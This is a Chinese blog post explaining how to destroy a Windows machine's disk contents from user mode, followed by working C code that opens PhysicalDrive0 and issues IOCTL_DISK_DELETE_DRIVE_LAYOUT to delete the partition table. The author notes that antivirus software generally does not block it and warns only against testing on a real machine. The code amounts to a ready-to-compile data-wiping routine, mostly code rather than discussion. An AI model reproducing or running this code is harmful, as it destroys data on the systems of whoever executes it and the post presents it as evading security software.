美文网首页
R3全盘毁坏数据

R3全盘毁坏数据

作者: HAPPYers | 来源:发表于2019-07-13 21:19 被阅读0次

打开物理磁盘或者打开分区符号(这个需要循环)

然后使用下发IOCTL_DISK_DELETE_DRIVE_LAYOUT请求,删除分区表

一般杀软也不会阻止

不要在真机中实验!

代码:

#include<stdio.h>
#include<Windows.h>
#include<ntddscsi.h>
#include <tchar.h>

int main()
{
    DWORD lpBytesReturned;
    OVERLAPPED lpOverlapped = { 0 };

    HANDLE hDiskHandle = CreateFile(_T("\\\\.\\PhysicalDrive0"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if (!hDiskHandle) {
        printf("Fail \n");
        getchar();
        return 0;
    }
    bool ret = DeviceIoControl(hDiskHandle,
        IOCTL_DISK_DELETE_DRIVE_LAYOUT,//0x0007C100
        NULL,
        0,
        NULL,
        0,
        &lpBytesReturned,
        &lpOverlapped);
    
    CloseHandle(hDiskHandle);

    printf("Finish\n");
    return 0;
}

相关文章

  • R3全盘毁坏数据

    打开物理磁盘或者打开分区符号(这个需要循环) 然后使用下发IOCTL_DISK_DELETE_DRIVE_LAYO...

  • 浅谈IRP结构

    啥都不说先上图: 什么是IRP IRP是一个结构体,用于R3和R0之间通信,R3会把请求的数据封装在IRP中发送给...

  • 扫盲区块链: Corda不是区块链的分布式账本

    R3和Corda 说起Corda,不得不提R3。R3的全名是R3CEV。是一家成立于2015年9月的一家创业公司。...

  • Homework

    R3 Ans: TheSourceportnumberwillbeyandthedestinationportnu...

  • R3 Corda推出瑞波币支付APP

    本周翻译的文章是《R3 Corda推出瑞波币支付APP》,原文标题R3’sNew Corda App Suppor...

  • 思科设备OSPF协议原理及配置全集

    R3 R4 :ABR

  • R3联盟起源

    起源 近日R3联盟内部发了一篇帖子回顾R3联盟的发展历史,我觉得挺有意思的,与各位一起捋一捋R3的成长历程。 20...

  • 全盘

    已经四天过去了,仍然有种眩晕的感觉。太渴望得到,付出百般努力,突然间给到一个胜利的消息,竟让人手足无措起来。 提前...

  • 心疼归心疼,毁坏归毁坏

    策划已久的电梯安装工程终于开工了。 一开始首先遇到的问题就是破拆活计。砸烂拆除此前漂亮的储物柜、装修好的屋顶,各种...

  • Windows应用层(R3)API调用流程

    应用层(R3)和内核层(R0)是如何通讯的; R3在调用一个函数的时候究竟发生了那些事情? 比如说在R3调用一个c...

网友评论

      本文标题:R3全盘毁坏数据

      本文链接:https://www.haomeiwen.com/subject/tmtvkctx.html